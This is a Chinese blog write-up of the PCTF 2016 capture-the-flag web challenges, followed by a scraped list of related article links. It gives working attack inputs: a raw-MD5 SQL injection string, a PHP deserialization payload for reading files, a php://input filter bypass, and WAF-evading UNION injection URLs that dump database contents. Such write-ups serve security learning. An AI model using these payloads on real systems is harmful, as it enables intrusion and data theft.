Pctf
** web100 PORT51** 
开始看到这个真的无法下手,想过用python–socket编程或者scapy发包。自己觉得是可以的,但是没有去试,后面看一大神writeup,知道:
最简单的payload:一个curl命令的事,涨姿势了
curl –local-port 51 103.39.76.105:32772/
其中–local-port 51 强制使用本地51端口 所以最后的flag就是PCTF{M45t3r_oF_CuRl}
另外在本文后面贴一份C语言实现这道题的代码:(见文章最后)
** web250 Login** 通过抓包在响应头里面看到hint如下:

hint : "select * from `admin` where password='".md5($pass,true)."'"

根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/, 直接输入ffifdyop,得到flag为PCTF{R4w_md5_is_d4ng3rous} 还有一个,提交129581926211651571912466741651878684928:

 content: 129581926211651571912466741651878684928
 count: 18933549
 hex: 06da5430449f8f6f23dfc1276f722738
 raw: ?T0D??o#??'or'8.N=?

文档:http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes web300 神盾局的秘密 这道题打开是一个只有一张图片的主页。查看源码发现了一个文件读取漏洞
读出showimg.php的源码

<?php
 $f = $_GET['img'];
 if (!empty($f)) {
 $f = base64_decode($f);
 if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
 && stripos($f,'pctf')===FALSE) {
 readfile($f);
 } else {
 echo "File not found!";
 }
 }
?>

从这里看到img参数防止了跨目录读取,但是我们还可以读取index.php的源码啊 得到:

<?php
 require_once('shield.php');
 $x = new Shield();
 isset($_GET['class']) && $g = $_GET['class'];
 if (!empty($g)) {
 $x = unserialize($g);
 }
 echo $x->readfile();
?>

这里知道index.php还可以传入class参数,并且还有一个反序列函数,应该就是一个反序列漏洞了。此处还知道了一个地址shield.php读他的源码:

<?php
 //flag is in pctf.php
 class Shield {
 public $file;
 function __construct($filename = '') {
 $this -> file = $filename;
 }

 function readfile() {
 if (!empty($this->file) && stripos($this->file,'..')===FALSE
 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
 return @file_get_contents($this->file);
 }
 }
 }
?>

果然啊,php反序列啊: 根据代码生成payload: O:6:"shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag:PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
** web500 IN A Mess**
这题打开就很快根据提示找到一串代码:

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']){
 header('Location: index.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
 echo 'Hahahahahaha';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
 require("flag.txt");
}
else{
 print "work harder!harder!harder!";
}
?>

需要绕过啊!! 绕过分析:

id==0且!$_GET(“id”)为假 构造:id=false或者id=”0”
$a不包含点且a文件内容为特定的 a=http://115.159.145.92/test 把其中ip用iphex编码为0x739F915C iphex工具在线
b长度大于5&&eregi(“111”.substr(b,0,1),”1114”)andsubstr(b,0,1)!=4。构造b=*123456或者b=%0023456ssss

还有一种绕过方法:主要是输入流。

POST /index.php?id=0xxx&a=php://input&b=.12345

1112 is a nice lab!

绕过时真JB激动啊!!得到一串字符 /^HT2mCpcvOLf 当时还当flag拿去换着几种姿势提交都不对 后面想了想可能是目录 就访问xxxxxxx/^HT2mCpcvOLf 果然就是,并找了找,是注入: 
Howevevr….waf太强不会,GG了就,虽然GG了 但是答案还是要找来贴在这儿的,看大神的解法:
试了试,过滤不多,就过滤了像是空格啊,回车啊,tab啊之类根本没什么屁用的东西,像是select,union,from什么的也都只被正则替换了一次,用selselectect就能绕过,另外还过滤了08,09,20等等敏感的数字。 flag就在context字段里面,而那个hi666就是title字段的值。 用union去回显爆库,它是总共有三个字段,显示的是第三个字段,像是空格被过滤的话用各种括号就可以绕过了,最后的payload如下:

http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))

后头自己也去注了一下,把过程记录下来:

绕过测试 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=1/*123*/or/*123*/0

数据库 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,database()

爆表 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(table_name)/*123*/frfromom/*123*/information_schema.tables/*123*/where/*123*/table_schema=database()

爆列 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_name=0x636f6e74656e74

爆内容 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(context,0x7e,title)/*123*/frfromom/*123*/content

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}~hi666

PCTF-2016-WEB的更多相关文章

  1. Velocity China 2016 Web 性能与运维大会:构建快速、可扩展的弹性网站

    Velocity China 2016 Web 性能与运维大会是一场关于构建快速.可扩展的弹性网站所需要的Web性能.运维及开发运维的训练.大会将于2016年12月1日在北京拉开帷幕,此次大会被众多业 ...

  2. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  3. Dynamics CRM 2015/2016 Web API:聚合查询

    各位小伙伴们,今天是博主2016年发的第一篇文章.首先祝大家新年快乐.工资Double,哈哈.今天我们来看一个比較重要的Feature--使用Web API运行FetchXML查询! 对的,各位.你们 ...

  4. SharePoint Server 2016 WEB 网站浏览器支持

    SharePoint Server 2016支持多种常用的Web浏览器,如Internet Explorer,Google Chrome,Mozilla Firefox,Apple Safari和Mi ...

  5. 2016 Web开发资源工具大搜罗

    来源于:https://zhuanlan.zhihu.com/p/22730771 作者:余博伦链接:https://zhuanlan.zhihu.com/p/22730771来源:知乎著作权归作者所 ...

  6. 2016 Web 开发资源工具大搜罗

    原文链接: 100+ Awesome Web Development Tools and Resources Web的迅猛发展对于开发者来说既是一件好事也是一件坏事.不断紧跟潮流学习新的技术.编程语言 ...

  7. Dynamics CRM 2015/2016 Web API:新的数据查询方式

    今天我们来看看Web API的数据查询功能,尽管之前介绍CRUD的文章里面提到过怎么去Read数据,可是并没有详细的去深究那些细节,今天我们就来详细看看吧.事实上呢,Web API的数据查询接口也是基 ...

  8. Dynamics CRM 2015/2016 Web API:Unbound Custom Action 和 Bound Custom Action

    今天我们再来看看Bound/Unbound Custom Action吧,什么是Custom Action?不知道的小伙伴们就out了,Dynamics CRM 2013就有了这个功能啦.和WhoAm ...

  9. Dynamics CRM 2015/2016 Web API:Unbound Function 和 Bound Function

    今天我们来看看Dynamics CRM Web API Function 吧, 这是一个新概念,刚接触的时候我也是比較的迷糊.这种命名确实是和之前的那套基于SOAP协议的API全然联系不上.好了,不说 ...

  10. 【CTF WEB】ISCC 2016 web 2题记录

      偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//ind ...

随机推荐

  1. java微信开发(wechat4j)——设置响应微信参数

    设置响应微信参数 wechat4j框架官方文档: https://github.com/sword-org/wechat4j/wiki

  2. js一些小题(二)

    ******************************************************************* 一个全局下的函数: function test() { aler ...

  3. SQL注入技术专题—由浅入深【精华聚合贴】

    SQL注入技术专题—由浅入深[精华聚合贴] 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企 ...

  4. Arcengine实现创建网络数据集札记(一)

    一 引子 网络数据集,GIS空间分析基础的理论和知识,是最短路径分析.连通性分析等其他空间分析技术的数据基础. 以往,网络数据集的研究很少,此次项目开发过程中,对网络数据集以及arcengine创建网 ...

  5. 快速排序(java版)

    public class QuickSortTest{ //比较与交换 private static int partition(int[] source, int low, int hight) { ...

  6. Dev Grid拖拽移动行

    效果图 源码下载 拖拽时带行截图效果实现代码 /// <summary> /// 拖拽帮助类 /// </summary> public static class DragHe ...

  7. [转] Paxos算法2-算法过程(实现)

    请先参考前文:Paxos算法1 1.编号处理 根据P2c ,proposer在提案前会先咨询acceptor查看其批准的最大的编号和value,再决定提交哪个value.之前我们一直强调更高编号的pr ...

  8. Android开发之 Windows环境下通过Eclipse创建的第一个安卓应用程序(图文详细步骤)

    第一篇  windows环境下搭建创建的第一个安卓应用程序 为了方便,我这里只采用了一体包进行演示. 一.下载安卓环境的一体包. 官网下载:安卓官网(一般被墙了) 网盘下载: http://yunpa ...

  9. hbase shell 常用命令

    进入hbase shell console$HBASE_HOME/bin/hbase shell如果有kerberos认证,需要事先使用相应的keytab进行一下认证(使用kinit命令),认证成功之 ...

  10. HTML5 datalist 标签

    以前需要用JS写一个自动完成组件(Suggest),很费劲.HTML5时代则不用了,直接使用datalist标签,直接减少了工作量.如下 <!DOCTYPE html> <html& ...